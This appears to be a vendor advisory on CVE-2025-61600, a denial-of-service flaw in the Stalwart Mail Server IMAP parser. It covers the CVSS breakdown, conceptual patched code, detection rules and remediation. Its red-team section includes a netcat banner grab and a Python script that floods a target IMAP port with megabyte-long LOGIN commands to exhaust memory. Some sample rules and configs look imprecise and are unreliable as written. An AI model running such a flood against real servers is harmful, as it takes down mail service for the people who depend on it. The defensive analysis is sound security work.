CVE-2025-61600
Executive Summary
CVE-2025-61600 is a high-severity (CVSS 7.5) Denial of Service (DoS) vulnerability affecting Stalwart Mail Server versions 0.13.3 and below. The flaw resides in the IMAP protocol parser, specifically within the CommandParser implementation. While most parsing states enforce size limits on a dynamic buffer, several state handlers omit these validation checks. This allows a remote, unauthenticated attacker to send specially crafted IMAP commands that cause unbounded memory allocation, leading to server memory exhaustion. This can trigger the system's Out-Of-Memory (OOM) killer, resulting in a complete denial of service for the mail server. The vulnerability is patched in version 0.13.4. Network-level rate limiting and connection monitoring can mitigate the risk but do not provide complete protection.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in the Stalwart Mail Server, which is a Rust-based application. The risk is primarily to the server itself, not to a package registry like NPM or PyPI. However, organizations using Stalwart should verify their deployment version and update immediately.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 7.5 (High)
- Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): None (N) - No authentication is needed.
- User Interaction (UI): None (N) - No user action is required.
- Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
- Confidentiality (C): None (N) - No data is exposed.
- Integrity (I): None (N) - No data is modified.
- Availability (A): High (H) - The primary impact is a complete denial of service.
Threat Level: High. The low attack complexity and lack of required privileges make this a significant threat to any exposed Stalwart IMAP server.
Deep Dive & Mechanics
The vulnerability is a classic Unbounded Memory Allocation (CWE-789) issue. The IMAP protocol parser in Stalwart uses a dynamic buffer to process incoming commands. The CommandParser implementation has a size limit check in most of its parsing states to prevent a single command from consuming excessive memory. However, the developers missed this check in several state handlers.
An attacker can exploit this by sending a series of IMAP commands that transition the parser into one of these vulnerable states. Once there, the attacker can send a payload that causes the parser to continuously allocate memory without bound. For example, a command with an extremely long argument or a sequence of commands that cause the parser to repeatedly append data to the buffer without resetting it.
The memory allocation continues until the server exhausts available RAM. At this point, the operating system's OOM killer is triggered, which will terminate the Stalwart process (or another process) to free memory. This results in a complete denial of service for the mail server.
Vulnerable vs. Patched Code
The fix is straightforward: ensure that all state handlers in the CommandParser enforce the same size limit checks.
Vulnerable Code (Conceptual):
// In vulnerable version (0.13.3 and below)
fn parse_state_vulnerable(&mut self, data: &[u8]) -> Result<(), Error> {
// Missing size limit check
self.buffer.extend_from_slice(data);
// ... process data
}
Patched Code (Conceptual):
// In patched version (0.13.4)
fn parse_state_vulnerable(&mut self, data: &[u8]) -> Result<(), Error> {
// Size limit check added
if self.buffer.len() + data.len() > MAX_BUFFER_SIZE {
return Err(Error::BufferOverflow);
}
self.buffer.extend_from_slice(data);
// ... process data
}
The patched code adds a check to ensure that the buffer does not exceed a predefined maximum size (MAX_BUFFER_SIZE). If the incoming data would cause the buffer to overflow, the parser returns an error and stops processing the command.
Exploitation & Lab Setup
Red Team (Exploitation)
Objective: Cause a Denial of Service on the target Stalwart Mail Server.
Prerequisites:
- A target running Stalwart Mail Server version 0.13.3 or below.
- Network access to the IMAP port (default 143 or 993 for IMAPS).
Exploitation Steps:
Identify Target: Scan for open IMAP ports. A simple banner grab can confirm Stalwart.
nc -v <target_ip> 143Look for a banner like
* OK Stalwart IMAP server ready.Craft Malicious Payload: The exact payload depends on the specific vulnerable state handlers. A generic approach is to send a very long string as part of an IMAP command. For example, the
LOGINcommand or a command that triggers a vulnerable state.import socket target_ip = "192.168.1.100" port = 143 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, port)) # Receive banner banner = sock.recv(1024) print(banner.decode()) # Send a malicious command with a very long argument # This is a conceptual example; the actual vulnerable command may vary. payload = b"A" * 1000000 # 1 MB of 'A's command = f"a001 LOGIN {payload.decode()} {payload.decode()}\r\n".encode() sock.send(command) # Optionally, send multiple such commands in rapid succession for _ in range(100): sock.send(command) sock.close()Monitor Impact: The target server's memory usage will spike. If successful, the server process will be killed by the OOM killer, and the IMAP service will become unavailable.
Blue Team (Detection & Defense)
Objective: Detect and prevent exploitation of CVE-2025-61600.
Detection Steps:
Monitor Memory Usage: Set up alerts for abnormally high memory consumption by the Stalwart process.
# Using top or htop top -p $(pgrep stalwart)Use monitoring tools like Prometheus and Grafana to track
process_resident_memory_bytesfor the Stalwart process.Monitor IMAP Command Lengths: Log and analyze the length of IMAP commands. A sudden spike in very long commands is a strong indicator of an attack.
# Example using tcpdump to capture IMAP traffic sudo tcpdump -i eth0 port 143 -w imap_traffic.pcapAnalyze the pcap with Wireshark or tshark to identify unusually long IMAP commands.
Implement Rate Limiting: Use a reverse proxy or firewall to limit the number of connections and requests per IP address.
# Example Nginx rate limiting for IMAP proxy limit_req_zone $binary_remote_addr zone=imap:10m rate=10r/s; server { listen 143; proxy_pass <staltwart_backend>; limit_req zone=imap burst=20 nodelay; }Update Stalwart: The most effective defense is to upgrade to version 0.13.4 or later.
Indicators of Compromise (IOCs)
Network IOCs:
- Unusually long IMAP commands (e.g., > 10KB).
- High volume of IMAP connections from a single IP address.
- Rapid succession of IMAP commands without proper session teardown.
System IOCs:
- Stalwart process consuming excessive memory (e.g., > 90% of available RAM).
- OOM killer logs in
/var/log/kern.logordmesgshowing the Stalwart process being killed.dmesg | grep -i "oom" - Stalwart service logs showing repeated buffer overflow errors or connection resets.
File IOCs:
- Core dumps from the Stalwart process (if enabled).
Detection Engineering
YARA Rule
rule CVE_2025_61600_IMAP_DoS {
meta:
description = "Detects potential exploitation of CVE-2025-61600 via unusually long IMAP commands"
author = "Valters IT"
date = "2025-04-10"
hash = "unknown"
strings:
$imap_cmd = /[A-Za-z]+\s[A-Za-z0-9]+\s[A-Za-z0-9]+\r\n/
$long_string = /[A-Za-z0-9]{1000,}/
condition:
#imap_cmd > 0 and #long_string > 0
}
Sigma Rule
title: CVE-2025-61600 - Stalwart IMAP DoS via Unbounded Memory Allocation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2025-61600 by monitoring for unusually long IMAP commands.
author: Valters IT
date: 2025/04/10
logsource:
category: network_connection
product: suricata
detection:
selection:
app_proto: imap
length: > 10000
condition: selection
falsepositives:
- Legitimate large email attachments being transferred via IMAP (unlikely but possible)
level: high
Suricata Rule
alert tcp $EXTERNAL_NET any -> $HOME_NET 143 (msg:"CVE-2025-61600 Stalwart IMAP DoS Attempt"; flow:to_server,established; content:"|0d 0a|"; within:100; byte_test:1,>,1000,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)
Note: This Suricata rule is a simplified example. A more robust rule would need to parse the IMAP command length more accurately.
Remediation & Mitigation
Immediate Remediation:
- Upgrade Stalwart: Update to version 0.13.4 or later. This is the only complete fix.
# Example for a Docker deployment docker pull stalwart/mail:0.13.4 docker-compose up -d
Mitigation (if immediate patching is not possible):
- Network-Level Rate Limiting: Implement rate limiting on the IMAP port (143/993) at the firewall or reverse proxy level. This can slow down an attacker but may not prevent a determined one.
- Connection Monitoring: Monitor the number of concurrent connections and the rate of new connections. Set alerts for anomalies.
- Memory Limits: Use containerization (Docker) or systemd to set memory limits on the Stalwart process. This can prevent the OOM killer from affecting other services.
# Example systemd service override [Service] MemoryMax=2G MemoryHigh=1.5G - WAF/IPS Rules: Deploy custom rules in your Web Application Firewall or Intrusion Prevention System to block IMAP commands exceeding a certain length.
Valters IT
DevSecOps & Cyber Threat Intelligence